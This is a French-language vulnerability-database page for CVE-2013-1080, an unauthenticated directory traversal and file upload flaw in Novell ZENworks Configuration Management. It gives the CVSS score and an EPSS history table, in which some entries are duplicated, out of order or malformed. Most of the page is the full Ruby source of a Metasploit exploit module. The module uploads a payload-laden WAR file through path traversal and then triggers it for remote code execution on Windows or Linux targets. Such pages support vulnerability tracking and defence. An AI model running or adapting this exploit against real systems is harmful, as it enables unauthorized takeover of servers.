CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
The web server in Novell ZENworks Configuration Management (ZCM) 10.3 and 11.2 before 11.2.4 does not properly perform authentication for zenworks/jsp/index.jsp, which allows remote attackers to conduct directory traversal attacks, and consequently upload and execute arbitrary programs, via a request to TCP port 443.
Improper Authentication When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
78.27%
–
–
2022-09-04
–
–
76.69%
–
–
2022-12-11
–
–
75.35%
–
–
2023-03-12
–
–
–
93.4%
–
2023-05-21
–
–
–
92.6%
–
2023-05-28
–
–
–
92.6%
–
2023-07-09
–
–
–
90.33%
–
2023-08-27
–
–
–
90.89%
–
2023-10-15
–
–
–
89.01%
–
2023-12-17
–
–
–
90.16%
–
2024-02-18
–
–
–
89.5%
–
2024-06-02
–
–
–
88.58%
–
2024-06-23
–
–
–
86.9%
–
2024-10-27
–
–
–
86.28%
–
2024-12-22
–
–
–
87.8%
–
2024-12-29
–
–
–
84.63%
–
2025-02-23
–
–
–
83.36%
–
2025-01-19
–
–
–
84.63%
–
2025-02-23
–
–
–
83.36%
–
2025-03-18
–
–
–
–
72.92%
2025-03-18
–
–
–
–
72.92,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2013-04-07 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks Configuration Management Remote Execution',
'Description' => %q{
This module exploits a code execution flaw in Novell ZENworks Configuration
Management 10 SP3 and 11 SP2. The vulnerability exists in the ZEnworks Control
Center application, allowing an unauthenticated attacker to upload a malicious file
outside of the TEMP directory and then make a second request that allows for
arbitrary code execution. This module has been tested successfully on Novell
ZENworks Configuration Management 10 SP3 and 11 SP2 on Windows 2003 SP2 and SUSE
Linux Enterprise Server 10 SP3.
},
'Author' =>
[
'James Burton', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-1080' ],
[ 'BID', '58668' ],
[ 'OSVDB', '91627' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-049/' ],
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011812' ]
],
'Privileged' => false,
'Platform' => [ 'win', 'linux' ],
'Targets' =>
[
[ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / Windows 2003 SP2',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
'Traversal' => '../webapps/'
}
],
[ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / SUSE Linux Enterprise Server 10 SP3',
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
'Traversal' => '../../opt/novell/zenworks/share/tomcat/webapps/'
}
]
],
'DefaultTarget' => 1,
'DisclosureDate' => 'Mar 22 2013'))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true])
], self.class)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => "/zenworks/jsp/fw/internal/Login.jsp"
})
if res and res.code == 200 and res.body =~ /Novell ZENworks Control Center/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Detected
end
def exploit
# Generate the WAR containing the EXE containing the payload
app_base = rand_text_alphanumeric(4+rand(4))
jsp_name = rand_text_alphanumeric(8+rand(8))
war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s
print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")
# Rex::MIME::Message.new doesn't work fine with binary data, destroys "\x0d" chars
boundary = "----#{rand_text_alpha(34)}"
data = "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"mainPage:_ctrl21a:FindFile:filePathTextBox\"; filename=\"#{target['Traversal']}#{app_base}.war\"\r\n"
data << "Content-Type: application/octet-stream\r\n\r\n"
data << war_data
data << "\r\n"
data << "--#{boundary}--"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/zenworks/jsp/index.jsp?pageid=newDocumentWizard",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
})
if res and res.code == 302
print_status("Upload finished, waiting 20 seconds for payload deployment...")
else
fail_with(Exploit::Failure::Unknown, "Failed to upload payload")
end
# Wait to ensure the uploaded war is deployed
select(nil, nil, nil, 20)
print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
send_request_cgi({
'uri' => normalize_uri(app_base, "#{jsp_name}.jsp"),
'method' => 'GET',
})
end
end
Products Mentioned
Configuraton 0
Novell>>Zenworks_configuration_management >> Version 10.3
Novell>>Zenworks_configuration_management >> Version 10.3 (Open CPE detail)
Novell>>Zenworks_configuration_management >> Version 11.2
Novell>>Zenworks_configuration_management >> Version 11.2 (Open CPE detail)